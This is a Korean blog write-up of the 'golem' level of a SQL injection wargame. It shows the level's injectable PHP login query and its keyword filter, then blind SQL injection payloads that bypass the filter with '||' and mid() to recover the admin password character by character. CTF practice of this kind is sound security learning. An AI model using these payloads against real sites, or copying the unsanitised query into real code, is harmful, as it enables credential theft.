query : select id from prob_golem where id='guest' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
PHP 문법
addslashes()
- DB는 구분 기호인 " ' \ 등을 사용
- 하나의 ' (싱글 쿼테이션)나 " (더블 쿼테이션) 같은 구분자가 들어가면 예상치 않은 오류 발생
( 'It's an apple' 이렇게 쿼리를 전송하면 It뒤에 ' (싱글 쿼테이션)로 인해 오류 ) - 'It\'s an apple' 으로 addslashes() 가 \(백슬래시)를 붙여 바꿔 작업 수행
stripslashes ()
- addslashes함수 반대 기능으로 입력될 때 DB에서 추가되었던 \ (백슬래시)를 제거해주는 함수
Mysql 문법
MySQL에서 문자열에 일부분을 가져오는 함수는 대표적으로 3가지가 존재합니다.
- LEFT : 문자에 왼쪽을 기준으로 개수만큼 문자를 가져옴
- MID : 문자에 지정한 시작 위치를 기준으로 개수만큼 문자를 가져옴
- RIGHT : 문자에 오른쪽을 기준으로 개수만큼 문자를 가져옴
* MID 함수는 SUBSTR()함수와 동일
LEFT
LEFT(문자, 문자 개수);
쿼리
SELECT LEFT('ABCDEF', 3);
결과
ABC
MID
MID(문자, 시작 위치, 문자 개수);
- SUBSTR(문자, 시작 위치, 문자 개수);
쿼리
SELECT MID('ABCDEFG', 2, 4);
SELECT SUBSTR('ABCDEFG', 2, 4);
결과
BCDE
RIGHT
RIGHT(문자, 문자 개수);
쿼리
SELECTRIGHT('ABCDEFG', 3);
결과
EFG
코드 분석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
- prob _ . () 필터링 수행
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
- or and substr( = 필터링 수행
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
- pw와 입력된 pw가 같으면 문제 해결
문제 해결
- Password 길이 확인
- ascii 코드를 통해 범위를 줄여가며 Blind Injection 수행
- substr() 함수 필터링으로 mid() 함수로 대체
Password 길이 확인
- Hello admin 출력으로 참/거짓 확인
- pw 는 8자리
- 9자리 미만 : True
(?pw=' || length(pw)<9%23)
- 8자리 미만 : False
(?pw=' || length(pw)<8%23)
substr() 함수 필터링으로 mid() 함수로 대체
Blind Injection 활용 (ascii code)
- 기존 Blind injection은 substr() 함수를 이용하지만 현재는 필터링 상태
- Mysql에서 mid()함수와 substr()함수는 동일한 기능
- ascii 코드 번호 56 미만 : True
(?pw= '|| ascii(mid(pw,1,1))<56%23) - ascii 코드 번호 55 미만 : False
(?pw= '|| ascii(mid(pw,1,1))<55%23) - pw 첫번째 글자는 ascii code 55 ("7")
- ascii 코드 번호 56 미만 : True
(?pw= '|| ascii(mid(pw,2,1))<56%23) - ascii 코드 번호 55 미만 : False
(?pw= '|| ascii(mid(pw,2,1))<55%23) - pw 두번째 글자는 ascii code 55 ("7")
ASCII Code Table
Python 활용
GET 방식으로 URL에 pw 대입 ( ?pw=77d6290b )
- query : select id from prob_golem where id='guest' and pw='77d6290b'
'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글
[ LS - 10 ] skeleton (0) | 2021.12.20 |
---|---|
[ LS - 09 ] vampire (0) | 2021.12.18 |
[ LS - 08 ] troll (0) | 2021.12.18 |
[ LS - 07 ] orge (0) | 2021.12.18 |
[ LS - 06 ] darklef (0) | 2021.12.18 |